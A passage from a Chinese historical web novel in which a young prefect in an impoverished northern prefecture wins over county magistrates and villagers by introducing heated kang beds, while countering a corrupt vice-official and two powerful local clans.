顾子升“嘿嘿”一笑。 “他就是那样子,眼高于顶,算了,不说扫兴的事了,我说真的,我可以去请求皇上准许,我跟你一起赴任,定北府说是目前由通判顶着,但是底下的各个县城的县令要么没有要么早就倒戈了,这回我给你当师爷跑腿!再说了,我如今做同知可是得心应手的。” 赵丰年笑了,“谢谢你,子升,但是我更情愿你留在京城,也更需要你在京城。” 顾子升当即正了色。 离开京城的时候,傅赵丰年以为顾子升动了气不会来了。 当他看到那个骑在马上的身影,便笑了。 “这是我搜集到的关于北地的一些文书,路上抽空看看吧。” 赵丰年接过包袱,“多谢。” “阿年,北地真的很危险,但其实,我一开始就觉得,如果是你的话那真的可以改变什么,只是实在不行,保命为重,有什么事随时写信告诉我!旁的没有,太平侯府可是很有钱的,也省得便宜了旁人。” “我知道了,你也是,斗不过人家就退一步,适当的时候示示弱没什么关系。” 由精兵护卫的赵家就这样离开了京城。 路上,赵丰年探出头。 “李将军,我们从京城到北定府需要多久?” 李将军名叫李旭东,是这次护卫队的头领。 “倘若是走官道,约莫一个多月。” “听闻李将军是漠州人,不知可有其他路可到北定府?” 李将军顿了顿,“倘若不走官道,绕过平西,可提前十余天。” 赵丰年扬唇,“也够了。” “来的时候还没这么多东西呢,这走的时候倒是堆了一车又一车的。”巧娘看着渐渐消失在视野中的京城,不禁感慨。 “也不知道那北定府到底是个啥样,听说那里冬天特别冷,马上就冬天了,咱们冬天的衣物是不是带少了些?” 赵来贺丝毫不在意,“到时候到了地方再买就是了,不是什么大事。 只是赵来贺没想到,定北府连布庄都少见。 半个月前,进入北定府开始, 土地逐渐荒芜,人烟罕至,偶尔几个村落,遥遥目光相对,那些衣衫褴褛的百姓便缩回了屋子里,只有从窗户后露出的眼神充满了渴望。 到了北定府城门,只看到破旧的土城墙被风沙腐蚀脱落呈现一众灰黄。 城门口没有设岗哨,他们这一行人进城的时候,引起了诸多目光。 又好奇的,羡慕的,也有贪婪的。 “好心的老爷,给口吃的吧!” “给口吃的吧。” 车队被人群挡住了去路。 赵丰年挑开车帘,“李将军,继续走,去府衙门。” 李旭东当场拔出佩剑,人群见状,当即吓得四散。 巧娘在后面马车瞧见了,“正是怪可怜的,这地方穷啊。” 到了府衙门,众人看着破旧不堪的地方,心情都十分复杂。 “这衙门口,连座石狮子都没有啊。”大胖感慨。 这时候,一个挺着大肚腩的中年男子带着几人从另一侧快步走了过来。 “可是京城来的知府大人?” 李旭东让开了一小步,却呈一个护卫的姿势。 “本官正是,这位是李将军,尔等何人?” “哎呦,下官可把赵大人盼来了,下官北定府通判盛富贵携底下官员见过赵知府,见过李将军!” 赵丰年看了几人,点点头,“盛大人客气了,我们刚到,风尘仆仆,倒是失礼了。” “北地就这样,风沙大,您诸位先安顿下来,等晚上我再为大人接风洗尘。” 客套完,赵丰年就准备进府衙,那位盛通判也忙是带路。 “上一任知府宋大人惹了民怒,百姓们闹到府衙来,砸坏了不少地方,这些日子来,下官忙着安抚乡民,都没来记得好好修缮一二,后院怕是有些简陋了,下官全当先带大人看看,随后给大人安排别的住处就是了!” 赵丰年却拒绝了。 “这里虽然简陋,但是地方宽敞,收拾收拾便可,也省的我等来回奔波了。” 盛富贵忙堆起笑脸,“大人简朴,实在我等楷模。” 送走盛富贵后,赵丰年让李旭东带着他的人马去吏房,好好休整一番,李旭东也没推辞。 “这里边倒是大着呢,好好收拾收拾差不到哪里去!”巧娘上下打量着,“他爹,一会儿你把这些凳子桌子的修一修,怎么还缺胳膊少腿的。” “知道了,屋顶的瓦也碎了不少,明日我去外头拉点瓦补一补。” 赵青青却走到了赵丰年身边,“阿年,那位盛大人,看着不大像什么好人,今晚你记得多加小心。” “青姐放心,我刚来,他还不知道我是什么了路子,不会轻举妄动,我会带上李将军。” “李将军可信吗?圣上让他来,除了保护,是不是还有监督你的意思?” 赵丰年看着赵青青,忽然笑了,“青姐,让你只待在家里实在是屈才了,你看得很透彻,说的也都没错,不过放心,他会站在我们这一边的。” 见她不解,赵丰年解释了一句,“李将军出自漠州,母亲乃是北地人士,被戎族所杀。” 赵青青恍然大悟。 “如此,我便放心了,不过,防人之心不可无,你比我更知道这些。” “我记下了。” 当晚,盛富贵果然布置了接风宴,同桌的还有几个当地的望族。 酒过三巡,赵丰年就明白了他们的意图。 回去的时候,李旭东破天荒主动跟赵丰年起了话头。 “赵大人,那姓盛的不是什么好的,你要是应下了他们,恐怕是要辜负了陛下的期望了。” “看来,李将军对北地的了解比我想象的更多,那么,对于王李两家,李将军此前可有了解?” 李旭东定定地看着赵丰年,“为富不仁之徒,为了一己私利,勾结戎族,把控北地。” 赵丰年却没继续说王李两家,“其实,李将军既然自愿跟随我来到北地,就该明白,我们是一条船上的伙伴,接下来,我会有一些举措,我希望李将军能看清自己的立场。” 李旭东沉默了。 赵丰年就是逼他站队,不是京城,是他赵丰年。 “要李旭东现在就完全站在我这边也不是一时半会的事,至少我知道,他跟戎族有血海深仇,目前就够了。” 第二天,赵丰年跟赵青青说完这话,就去了前衙,召集衙役及府衙各部的官吏。 只是他发出指示后,直到一炷香后,才稀稀拉拉地来了五六个人。 一个知事,四个各房的典吏,一个洒扫的仆役。 “哎呀,我昨日就跟他们说过,今日大人要召见他们,让他们早些准备着,这不是让大人久等了嘛!” 盛富贵一脸惭愧,“大人,念及他们都是初犯,就饶过他们吧!以前府衙里没个主事人,兄弟们都不知做什么,如今您来了,以后大家就有了方向,一定齐心协力辅助大人。” 赵丰年却笑了,只让底下人报上名来。 四个典吏三个姓王,一个姓李,只有一个不是王李两家的。 “下官杨菱,任经历司知事。” “杨菱?哪个‘菱’?” “‘白马湖平秋日光,紫菱如锦彩鸾翔’*的菱。” “这是写江南之景,菱也是南方多见,杨知事可是江南人氏?” 杨知事唇角微扬,“正是,下官乃天元十年的进士,不过,杨某不才,只侥幸三甲末尾,不似赵大人,少年英才,状元及第。” 赵丰年笑了,“杨知事客气,本官昨日下午便看了府衙的文书,依杨知事的才能,做个知事实在是屈才了。” 杨知事忙说不敢。 而一旁的盛富贵,脸都黑了。 “府衙三司六房人手不足,同知一职更是空悬,我欲张贴榜单扩招人手充六房典吏,杨知事,此事就交由你来办,如何?” 杨菱吃了一惊,回过神来连忙应声。 “是,定不负大人所托!” 而盛富贵脸色更难看了。 赵丰年将这件事安排下去,便带着李将军,出了府衙。 而赵来贺,跟巧娘说了一句后,也带着大胖就上街去找卖瓦的去了。 赵丰年一去,到了傍晚才回来,刚走进后院跨门,就听赵来贺说起了外头的事。 “那街上统共没几间开着的铺子,一半是姓李的,一半是姓王的,碰到个小贩卖葫芦瓢,我本想买一个,刚过去就被一群人轰走了,连带摊子都掀了,我一打听才知道,寻常人在街上摆摊子,不光要交摊位费,还有保护费,一个比一个贵!” 第58章 第58章盘火炕 “可怜见的,就是以前临县哪个何狗官还在的时候,也没有这样霸道的!”巧娘跟着一起愤愤不平。 “可不是!好在是碰到了我们,帮他一起收拾了东西,不然东西都要被抢了毁了。” 赵丰年听到这里走了过去,“爹,你们今天出去了?” “阿年,你回来了?这不是,想着拉车瓦来修屋顶,谁知道碰到了这样的事。” 赵丰年想了想,“市集摆摊收税之事理应归由府衙户房管理,只是目前户房空无一人,倒是给了人可乘之机,这两日我也听了不少不平事,如今府衙无人可用,爹,这些日子辛苦您,多去外头走走,帮我打听打听这王李两家。” 大胖自告奋勇也一起去,却被赵丰年拦住了 ,“胖哥,我需要你替我跑一趟城里各家粮铺,我要知道真实的粮价,另外,我有一封信,你明日帮我送去驿站。” “好,只管交给我!” 赵青青看了他们一眼,“那我们呢,我们能做点什么?” 赵丰年便笑了,“虽说如今衙门各房已经在招人了,但是户房重之又重,我想要青姐你担任户房典吏一职。” 几人都惊讶,赵青青犹豫了片刻才玩笑般说道,“你喊我帮忙,我是定然会帮你做好,只是,女子为吏,怕是旁人要说你的。” “如今我是北定府知府,自是由我说的算,要不是我刚来这里,同知又需至少举人功名,我其实更属意青姐当我的副手。而且,我也是有要求的,我要青姐你三日内理出近两年的税收,以及人口信息。” 赵青青双眼闪过泪花,却目光坚定,“好,我一定好好做!你放心!” “我也会帮忙!弟弟放心。” 赵青青笑着摸了摸妹妹脑袋。 “那,我管好后勤,你们忙完了饿了累了,只管回家来!”巧娘也放了话。 “娘,我还真有另外一件事想要拜托您,不知道您还记不记得咱们家一开始孵小鸡的炕?” 说起孵小鸡,巧娘一脸自得,“那肯定,娘吃饭的手艺,这还能忘?” “北地苦寒,入了冬很快就要下雪,能一直下到开春,我想要让百姓们盘火炕过冬,好歹熬过这个冬天。” “那成,这样,明日我在这里先弄一个出来,你回头看看成不成!” 分配好了任务,第二天,赵家人就开始行动了。 而杨菱这边的招人计划却遇到了一些阻碍。 “北地没有私塾,戎族不识汉文,自然也不会准许北地建私塾学堂,去年第一任知府官员来到北地,也曾先过设立私塾,却没想到,无一人将孩子送至私塾,除了一些大家族也许有藏书,其他人能听懂官话便是难得了。” 赵丰年点点手指,“人还是要招的,既然不识字,那就招懂官话又愿意识字的。” 又过了几日,才终于招到了三个人,其中有一个叫王文的王家人,赵丰年只看了一眼,也录用了。 这些吏人上职的第一个任务就是前往各县通知各个县城的知县三日后来府衙开会。 几人面面相觑,还是那个叫王文的先问了。 “大人,不知,我们各自去哪个县城?” “你们三个,加上原来的四位典吏,一共七人,北定府下面一共五个县,你们各自分配即可,我的要求只有一个,我要在三天后看到五个县的县令或主事人。” “是,大人。” 三日后,府衙大堂侧堂,赵丰年坐在上首,李将军大胖各立一侧,赵青青在左侧案前坐下,面前放着笔墨纸砚,杨菱则在右侧。 北定府底下五个县城,分别是牧县,犁丘县,小河县,五树县,还有沙沙县,如今五个县城只来了三个。 “牧县跟五树县无人前来,这两县是谁负责通知?” 当即便有两个李姓的新人被喊了进来。 “本官说过,要在三天后看到五个县的县令或主事人,你二人未完成任务,看来衙门也用不上你们了。” 那二人先是一愣,随即忙求情。 “小人确实跟五树县冷县令说过了,只是那冷县令不来,小人也没法子啊。” “是啊是啊,小人也跟牧县那边讲清楚了,人家毕竟是县令,就算不来,小人能有什么办法呢?” “你们所言有道理,是本官过于武断了,不过其他人都做到了,就你二人做不到,本官不罚难以服众,这样,就罚你二人打扫府衙一月,再扣一月月俸,事不宜迟,你们这便去做吧。” 待那二人被请出去,几个县城的人瞬间有些坐立不安。 赵丰年则喝了口水,笑道,“说来,本官初到北定府,还不认识诸位大人,不知各位怎么称呼?都是哪个县城的?” 下首第一位的人连忙站了起来,“大,大人,我,不不不,下官,下官是沙沙县的县令,小的叫沙不、不多。” 沙县令个头有点小,人也干瘦,此时光是说完这一句话便仿佛用尽了勇气,两条腿都在打哆嗦,活像是落入了狼口的羊崽子。 “沙不不多?还是个外族名?”大胖嘟囔了一句。 沙县令抖动得更厉害了,赵丰年很怀疑他再抖下去还能不能站稳。 “不不不,是是沙不多。” “沙县令不必拘礼,坐下便是,只当是闲聊了。”赵丰年放过了可怜的沙县令。 第二个人倒是个圆润些的老头,“下官是犁丘县县令,莫东西。” “咋还说方言骂人呢?”大胖瞬间怒目而视,却对上了犁丘县令茫然的眼神。 赵丰年无奈,“冷静,胖哥,不知您如何称呼?”后面一句是度犁丘县县令说的。 之间他更茫然了,“大人,下官就叫莫东西啊。” 赵丰年:“” 这叫淳朴! 赵丰年保持微笑,让他也坐下了,随即用鼓励的目光看像了最后一个人。 “大人,小的是小河县的县丞,我们县上一任县令非要在汛期钓鱼,全县衙的人都劝不住,被河水冲走找不着了,后面就没有县令再来了,哦哦,我叫何玉。” 真的就是每一个字都懂,但是连起来就格外荒诞了。 “小河县的河流可是玉带子河的分支?本官没来北地之前,总听说北地土地荒凉,沙地多,没曾想前几日却发现竟然有这么一条大河在北地的土地上流淌。” 小河县何县丞立马就自豪了,“就是玉带子河的分支!咱们的玉带子河是最大的母亲河,就是要是没有那么多汛期就好了。” 提到汛期,小河县县丞又忽然失落了起来,随即又小心翼翼问赵丰年,“大人,您要是想要财宝,咱们小河县是真没有了,如果没有其他事的话,我能先回去吗?近来枯水期,好多皮孩子下河淘鱼,我得回去看着呢。” 是个负责的。 赵丰年笑了笑,没回他这句话,“今日召集大家过来,一来是为了认识认识大家,毕竟以后要一起做事的地方多着,二来是为了让各县百姓能平稳度过这个冬天,再有半个月就开始下雪了,大家往年冬日里靠什么取暖?” 几个县令相互看了看,还是犁丘县的莫县令先开了口,“还能靠什么,百姓们一下雪就缩在屋子里,不过就是秋日犁多备些干草枯枝,我们县不像小河村,草多茂盛,柴火都是不够的。”说着,一边朝何县丞露出了羡慕的目光。 何县丞连忙开口,您别再盯着我们县了,牧县草最多,你去盯那边吧。” “我们,就是弄些枯枝条,就,就是不、不经烧,要留做饭食,不舍得烧足了的,半夜里人都硬了。”沙沙县县令也低声说了一句。 赵丰年点点头,“府衙有一种法子,不但能不浪费做饭的柴火,还能让整个屋子温暖起来,衙门有意成立施工队,从明日起就去各个村子里教授大家做起来,不过,这东西做起来说简单也简单,说麻烦也麻烦,总归是要耗费人力,你们需传话下去,让各家有意的自行备好泥砖。” 一整安静。 “不知要多少钱呢?”还是犁丘县莫县令先开的口。 赵丰年看了他一样,“不要钱,但是等年后,化雪后,我要盘土炕的人家每家人出一个人力,挖坑堆肥。” “啥叫堆肥?” “现在说 还为时过早,你只需知道,是对庄稼好的东西,这样,我只说火炕,你们怕是也不知道是什么样的东西,胖哥,你带他们去一趟。” “好嘞!” 几人你看看我,我看看你,跟着一起去了,只是那背影看着要多不情愿就有多不情愿。 “瞧上去,他们把你当作费尽心思搜刮民脂民膏的官员了。”李将军看了赵丰年一眼,眼中有幸灾乐祸。 而一侧的杨菱则万分激动,“等他们看了火炕之后,定然求着大人去!这东西就是为了北地存在的!烧一顿饭的功夫能暖一整夜,还不费多少柴火!” 赵青青只笑了笑,没说火炕起初其实是为了孵小鸡存在的。 而半个时辰不到,只见几个县的人冲了回来。 “大大人,我们沙沙县愿意的!” “我们犁丘县也愿意的,这是好东西啊——” “你又想要抢先,大人,咱们小河县虽说没有县令,但我可以做主的,我们都愿意。” 赵丰年十分欣慰。 告诉他们赶紧回去跟村里人商量,并准备好土砖,三日后府衙官吏会带着两队施工队前往两村子。 回去的路上,小河县的何县丞都在为抓阄没有抓到前二而懊恼,不过,一想到两队同时施工,等结束后,两队都来他们小河县,那他们也慢不到哪里去,何县丞当即心里又舒坦了。 等回了小河县,何县丞连忙让衙役挨个通知底下的村长乡户来县城开会。 等何县丞把在府衙听到的消息告诉大家,却没得到想象中的热切。 “何大人,我们是相信您才过来的,你别拿这些捉弄我们啊。” “对啊,那知府还能有好的,不来咱们这里收粮食就不错了,去年我们村一家省了一斗粮才满足了府衙门的胃口,今年本就雨水不多,再拿出来,大家伙就都别想活了。” “是啊,回回来了新知府,回回就要收一次,这是个人都吃不消了。” “以前要粮要钱,如今都要人了?怕不是要人命嘞?” 见众人不情愿,何县丞无奈,只说确实是好东西,这回的知府瞧上去也不一样。 “咋就不一样了?” “长得特好看?”何县丞也是着急了,“哎,我何玉的为人各位还不清楚吗?就是不相信知府大人,也该相信我啊,我难道能叫你们吃亏?这样,施工队先去的是沙沙县跟犁丘县,等他们学会了才到我们这里,到时候我领着大家伙们去瞧一瞧就知道了!” 这回众人没意见了。 沙沙县县令回到县里,也是废了好一番唇舌才安抚住了百姓。 而犁丘县这边就简单得多了。 “大家伙们不知道,那火炕可真是个好东西啊,真好啊。” 众人就知道了,那铁定是个好东西,好到让他们莫大人嘴里一遍接着一遍地念叨。 三日后,赵丰年便让大胖带着几个卫兵,跟府衙组织的匠人从府衙出发了。 盛富贵也是这个时候才知道赵丰年动作。 上回府衙的会议盛富贵没有出席,赵丰年本来邀请过他,只是他拿乔,说自己身体不适,偶感风寒,赵丰年索性成全了他,让他好生修养,不着急来府衙,直接给他放了假,时间不定。 盛富贵本因为赵丰年重用杨菱而不高兴,见他想召集底下县令,便想着给他个下马威,让他知道想做好知府还要靠他这个通判,又让人散布谣言,就是让赵丰年做不下去来请他。 谁知道等了好些天,没见人来请,反而听说了知府大人要在各县推行什么火炕。 盛富贵当即就怒了,连忙喊来了府衙的眼线。 “小的不过是个典吏,而且赵大人除了让我们传话,也不叫我们参与重事,上回那什么会议,我们都在外头,不让进去,就这样,还罚了李家分支的两个小辈呢,而且” “而且什么?” “而且,赵大人说了,您上了岁数,毕竟身体不好,既然病了,就不用去府衙了,让您好生在家里休息。” 盛富贵拍桌而起,“好个黄口小儿!真当自己是知府了,不知天高地厚的小子,我要让他好好看看,这北定府到底谁当家做主的!” 第59章 第59章剩下两个县 这边,沙沙县第一个火炕也盘好了,因好奇围过来的百姓们看着那平平无奇的土炕,面面相觑。 第一个站出来当示范的这户人家是沙沙县县令的侄子沙大头家,沙大头本来心里也慌张害怕,就怕赔了土砖不算还要搭补粮食银子进去,只不过为了支持县令大伯,才鼓起勇气站了出来,府衙里的人在他家屋子里捣腾的时候,他吓得都不敢靠近,此时看着好好的土砖块被用在了屋里,床都没了,还垒了个土砖台子出来,当即就觉得委屈伤心。 “这还是打算留着开春补屋后墙的土砖呢”沙大头看着东西心里都在滴血。 他媳妇见了他这模样,连忙提醒他注意一下,人都还在呢。 沙大头努力挤出笑来,“各,各位大人,这样就好了是吧?那是不是没咱什么事了?” 刚才工匠们已经烧过了两次,确认过了没有漏烟才跟大胖禀告,此时大胖听了沙大头的话,知道他是不相信他们,只怕烧灶的时候不在,不过方才其他人也都离得远远的不敢靠近。 “这炕再过两三天就能用了,接下来去哪家?” 周围凑热闹的人忍住先跑路的冲动,都不敢说话了,还是县令沙不多站了出来苦心劝说,这才又有几家表示愿意。 大胖看了又是一阵若有所思。 等到了第二家,抹过第一遍泥巴,准备第二次测试烧火的时候,大胖便叫了几个人进来,让他们摸一摸这半成品的火炕。 “到时候你们外头灶台烧饭,里头的热气都会通过管道进到这个炕里,吃饭的时候,往炕桌上一坐,不知道多舒坦,就是晚上临睡前,添一把柴火的事,一整个晚上都是暖的,到了早上,外头烧热水,里面便又热了,别管外头怎样的冰天雪地,这屋子里都是暖的,你们仔细琢磨琢磨,是不是这个理?” 自己感受到的自然比听到的更真实,当即明白了个中诀窍的百姓顿时就兴奋了,尤其是刚才上手摸的。 “诶呀,还真是,我说刚才怎么好像是暖的!” “那这么说,还真是好东西呢!” 大胖再接再厉,“这还只是试验一下是不是漏了烟,等后面泥巴都干透了,再烧上炕,那才叫暖和,不过,你们也得留意着,要是炕里漏了烟了,晚上睡觉没留意是要害死人的,一定要及时告诉村里县里,补上后确定不漏烟才能继续用!” 消息就这样一传十十传百,后面赶过来瞧热闹的没瞧上,七嘴八舌问了一遍遍。 “哎呀,是真的,当时我的手就觉得不对劲,怎么手底下的砖就暖了呢,这回府衙的大人们可没骗我们!” “不收钱,那些大人们先给咱们做个叫那啥示范的,就是挨个教,教会了,村里组织人去各家盘呢!” “什么拉人去做苦力,我听胖大人说了,那是要一家出一个人学堆肥,说是对庄稼地好的东西!” “你们就别问了,总归是府衙的大人还在呢,你们自己瞧去不就行了?” 可不是这个理。 于是,大胖发现跟着凑热闹的百姓队伍是越来越庞大了。 每做好一家,都一定会有人想方设法摸一手,然后大叫“我摸到了,真的是热的!”,紧随着人群就会传来惊呼赞叹声,乐此不疲。 沙不多担心府城来的大人不开心,忙跟大胖解释。 “大人莫要怪罪,大家也是是在高兴,高兴的过头了,北地严寒,一到冬天就冰天雪地,每年冬天过去,前头还一起干活说笑的人就再也见不到了,家里人也好,邻居也好,除了默默给他们寻张草席埋了,也做不了什么,如今有了这火炕,今年一定不会有人再冻死了,感谢老天爷,感谢他送来了赵大人,送来了你们。” 大胖方才还觉得这些人好笑,听了沙县令的话,心里忽然就变得沉重了,也明白了,为何赵丰年一定要自己掏钱也要把火炕推行下去。 而另一边的犁丘县也差不多如此,这边是赵青青带人前来,杨菱为辅。 起初杨菱对赵青青区区一女子担任典吏还颇有微词,只是在看到赵青青不过短短三日便将北地近两年来的税收跟人口变化都整理清楚交给赵丰年,便觉得她确实是有些能干,等这回来了犁丘县推行火炕,看她不过三言两语便让犁丘县上下对新任知府大人感激不已,顿时不敢小瞧了她去。 “赵大人心疼北地百姓,也知道以往大家过的什么日子,这才想到了火炕,不惜自己掏钱,唯一的要求也不过是开春后能让大家准许他帮大家把地种好,你们犁丘县、沙沙县,还 有小河县几位大人都是爱民如子的,身体力行一起帮助百姓,今日看着百姓们这样高兴,我也高兴,知府大人知道了,定然也十分开心, 只是,也不怕莫大人笑话,看到这里的百姓开心,我这心里就格外心疼牧县跟五树县的百姓,知府大人请两县的县令商议推行火炕之事,他们推辞不过来,大人想去两个县吧,却又怕被拒之门外,可是,到底百姓无辜,不光是知府大人,就是我这心里,也常常感叹,都是一个北地的,怎么您几位这般明事理,为百姓着想,而那两县的县令却哎,百姓无辜啊,莫大人以为呢?” 莫东西还没说话,一旁的小河县何县丞就眼眶湿润了,“大人说的有道理,百姓何其无辜啊,难为赵大人记挂五树县跟牧县,这冷存真跟拓九实在是太不像话了,那些错事是以前的知府做的,跟如今的知府大人又有什么关系,何必硬咬着旧时的事不放!” 赵青青也一脸赞同,“可不是,只是他们如今认定了,我们大人毕竟才来不久,又知晓他们是为了百姓,总不好真的将二人抓起来。” “还,还要抓人啊?”何县丞惊讶又害怕。 赵青青安抚一笑,“倘若真因为他二人,误了两县百姓性命,赵大人也不能不罚呀,否则如何跟朝廷交代?如何跟百姓交代?您二位说是也不是?罢了,我们先紧着这头,便不说那扫兴伤心的事了。” 赵青青往前走了几步。 后头的莫东西瞪了一眼何县丞,“你眼睛里是也有条何不成?说着就哭了,啧啧。” 何县丞今日带了人来就是来看盘火炕到底怎么个流程以及劝说县民的,闻言也不乐意了,“那是府衙的大人说的有道理,其实我们谁不知道,贸然轻信府衙是个什么下场,只是,我觉着这回的赵大人是真的不一样,你整日这个不得罪,哪个讨好的,就真看不出来,他这是为了百姓?” “我怎么就看不出来了?日久见人心,只是这一事,还不足以让我服气,而且,冷存真那个性子,谁说的通?至于拓九,牧县可是戎族人血脉最多的,你怎么知道知府大人就能一视同仁?” “你不去就算了,反正我们县还要等两天,我明天就去劝他们,都是一起熬过来的,熬过了戎贼的欺压,还怕熬不过这回了?” 莫县令留在原地,长叹了一口气。 而杨菱看着赵青青的目光显得越发复杂。 “杨知事为何这般看着我?” “赵姑娘若为男子,定也能做出一番事业来。” 赵青青却笑了,“竟不知杨知事这样想,只是,我私以为,我等如今就是在干一番大事业呢。” 杨菱微愣。 “杨知事,知府大人要做的事,这些日子你应该也有所察觉,成了也许能记入史册,输了则粉身碎骨,杨知事如今退出还来得及。” 杨菱没出声,赵青青便继续,“我知北地有王李两家,府衙有盛富贵,一直压着杨大人不得不委曲求全,只是如今天要变了,风浪渐起,杨大人是否要登上我们这艘船一起航行,踏破风浪,全看杨大人自己了。” 这时候,那头百姓又传来了一阵欢呼声,赵青青笑道,“你看,这是民心。” 杨菱浑身一惊,顿时觉得有什么破土而出,直接冲到了自己的头顶,还要冲上云霄。 “此前是我说错了,赵典吏冰雪聪明,即便身为女子,也能做出一番大事。” 一连数日,几个县都在议论这知府大人的火炕,而这股风也终于刮到了牧县跟五树县。 五树县,县令冷存真正听底下人说起近来的消息。 “说是不过做顿饭的功夫,那火炕就暖和起来了,连带着整个屋里都暖洋洋的,大人,何县丞想来没骗咱们,这回的知府大人倒是做了件好事,如今,全县的百姓都在问咱们县什么时候开始盘火炕呢!” “这事我知道了。” 人走后,只见从后面走出了一位身量纤细的妇人,“夫君可要去趟府衙?虽说盛通判传话来让夫君不得给知府大人面子,只是毕竟事关百姓” “北地姓李,不姓赵,那姓赵的不过刚来,这番动作也未见李家的参与,怕是得罪了人还不知,我会让他们传话下去,让百姓不要抱有期待。” 妇人叹了口气。 而另一边的牧县。 “我还当何玉那老家伙骗我,既然这样,我立马就去府城找那知府去!” “可是大人,盛通判跟李家主都让大人这些日子不要接触府衙那边。” “呸,盛富贵跟李均算什么东西,真当把我推上县令的位置我就要对他们言听计从了?大不了不做这个县令了,小爷我照样带着乡亲们活得逍遥自在,我可不是冷假脸那种道貌岸然的家伙,学不来他们那套,叫什么来着,虚什么蛇的!” “大人,是‘虚与委蛇’。” “知道了知道了,这汉文就是麻烦!” 赵丰年还不知道牧县县令就要找上门来了,此事正在听大胖几人汇报目前各县火炕普及情况,结束后,赵青青将一本册子递给他。 “据这些日子实地考察,沙沙县有二千九百户,人口约两万,犁丘县三千五百户,人口两万六,小河县三千八百户,人口三万,都跟两年前差不不多持平。” 赵大胖很惊讶,“你啥时候统计的?我才知道统计这个词,你就做完啦?” 赵青青笑了笑,“阿年给我的任务,我让匠人问各村的村长统计来的,没有声张,你不知道也正常。” 赵大胖一脸钦佩。 赵丰年笑了,“你们都做得很好,胖哥,粮价我拿到手了,接下来,你去全力宣传火炕,怎么好怎么夸。” “你是想要牧县跟五树县找上门来?”赵青青问。 “不错。” “可是,李将军的人都看到过李家跟盛富强的人去找过两村的县令,那两个县令是他们的人,怕是不好说动啊。”大胖一脸气闷。 “所以,阿年是想要鼓动百姓?让他们不得不服输?” 赵丰年扬唇,“青姐,果然你应该做的是我的副手。” 赵青青笑,“我这不是已经做着了吗,既然如此,我去准备东西,将剩下两县的人口户数拿到手。” 赵大胖看看这个,又看看哪个,更加气闷了。 “你们这脑子都咋长得?” 不过几日,北地的百姓都听说了一个叫做“火炕”的东西,据说有了这个,再也不惧风雪天气了,能叫屋里温暖似春,是新来的知府大人不忍百姓冬日里挨冻,特意想出来的法子。 已经盘上了火炕享受到了火炕好处的几个县百姓听到了都与有荣焉,不住地点头赞同,甚至大夸特夸,而五树县跟牧县这边的百姓羡慕不已地等了几日,却发现府衙的大人们做完了小河县就收拾收拾东西回去了,完全没有来自己县的样子,顿时就着急了,当即催着村长一起去了县衙门。 “衙门外围了不少百姓,都说要一个说法,怎么还没轮到咱们盘火炕,甚至有说愿意自掏腰包的,大人,您快想想办法啊,不然百姓要闹事的!” 冷存真咬牙骂了一句赵丰年用计毒焉,又问,“牧县百姓也闹了?” “这就不清楚了,不过,听说拓大人一早就去了府衙。” “这个拓九!” 牧县县令确实来了府衙,赵丰年正让人送帖子给王李两家家主,听到说牧县县令来了,便笑了。 “来得还挺快,请人到偏堂去,我马上到 。” 赵丰年走到偏堂,只见一个高高瘦瘦的少年郎坐在那里,他五官立体俊朗,不似中原人的流畅,一脸连桀骜不驯,像草原上飞驰的野马,又像山林里凶猛的野狼,就是不像一县之主。 “你就是新知府赵大人?看起来也太小了吧,大夏叫你一个少年来北地做官不怕被人生吞活吞了吗?” “大人,是‘生吞活剥’。” “” 赵丰年忽然就笑了。 “想必你便是牧县县令了?” “叫我拓九就行,别整那什么文皱皱巴巴的东西,我这回就是为了火炕来的。” “大人,是‘文绉绉’” “你闭嘴!”拓九恼羞成怒,随即直勾勾盯着赵丰年,仿佛是在观察他有没有笑话自己。 赵丰年保持微笑,“拓九,我看你也是率性之人,倘若不是眼下这种情形,我倒觉得,你是个将军英雄人物。” 拓九往椅子上一靠,“别以为说点好听的就能牢笼,笼牢,笼络!笼络我,我见过的知府有三根指头了,你就说给不给我们牧县盘火炕吧。” “我听闻,拓县令的父亲是戎族人?” 只见拓九瞬间冷了脸,“是又如何?怎么,你也要驱逐我吗?你们这些当官的,就知道搞这些,你们高高在上习惯了,哪里知道我们底下人怎么活?这里以前是戎族的地盘,被戎族抢了去,有多少人能选择自己的出生?凭什么你们一来就要驱逐我们?戎族把我们当异类,你们大夏嘴上说的好听,其实也打心眼里瞧不上我们,既然这样,还干嘛要假惺惺过来!一边推举我当县令,一边又要压迫我们,本来见你长得人模狗样,结果,哼,依我看,你就跟李均,还有那个盛富贵一样,不是什么好种。” 他腰背崩得笔直,仿佛赵丰年说一个不好就要跳起来攻击了。 赵丰年还是头一回被人指着鼻子骂,但是少年的反应却让他气不起来。 “不要误会,只是想问问,既然你父亲是戎族人,那你是否懂戎地语?” “啊?” “北地戎地语跟汉语交杂,我跟府衙里的其他几位大人都想学一学戎地语,好跟百姓沟通交流,正巧缺个会讲戎地语的师傅。” 拓九更懵了,“你,你是说,你们要让我给你们当师傅?” “倘若你不嫌弃,至于火炕,既然你都是衙门请的师傅了,自然一切好说。” “那你要先给我们牧县做,不能先去姓冷的那边。” 姓冷的怕指的就是五树县了,赵丰年笑了笑,“自然,事实上,五树县的县令至今未来府衙,我也不知是个什么意思,毕竟像你一样有胆识又有魄力直接找上我的人,可没几个。” 拓五下意识地挺直了腰背,“那倒也是,不过,你别想等冷假面了,他就是李均跟盛富贵的一条狗,两个主子不发话,他怎么会来呢?” “哦?我方才听你言语中,你跟那李均、盛富贵似乎有什么恩怨?” “什么恩怨不恩怨的,他们也配?不过就是他们想利用我把之前的知府拉下去,推了我做牧县县令,以为我从此就感恩戴帽子了,呸,我可不是冷假面那种人,北地百姓生活这样贫苦,那李家要占一半!” 赵丰年眼中闪过一丝流光,“我听闻,这北地有王、李两家,怎么你口中只说那李家?” 拓九却纠结了,“王家应该也不是什么好东西,粮食卖得也一样贵,不过,仔细想想,兼并我们土地草场的,都是李家做的,对吧?” 最后一句是问他身边师爷的。 赵丰年仿佛这才想起来,“这位先生看起来文质彬彬,不知怎么称呼?” 那人连忙行礼,“回知府大人的话,小人牧县师爷,王进才。” 赵丰年挑眉,拓九忙解释,“他可不是王家人,不对,也算王家人,不过他是分支,很远很远的支了,对吧,王文之?” “是的,大人。” 赵丰年微笑,“王先生是个读书人?果然北地也是藏龙卧虎之地,既然这样,那一会儿我就让施工队跟你们一起回去,火炕早一日盘好,百姓就早一天安全,我也早一天安心。” 拓九十分感动,“赵大人,你果然跟以前的那些狗官不一样,你就那什么,爱民如儿子!” 赵丰年嘴角一抽。 王师爷忍不住了,“大人,是‘爱民如子’,还有,前面那个,是‘感恩戴德’” 赵丰年失笑,让人请赵青青过来。 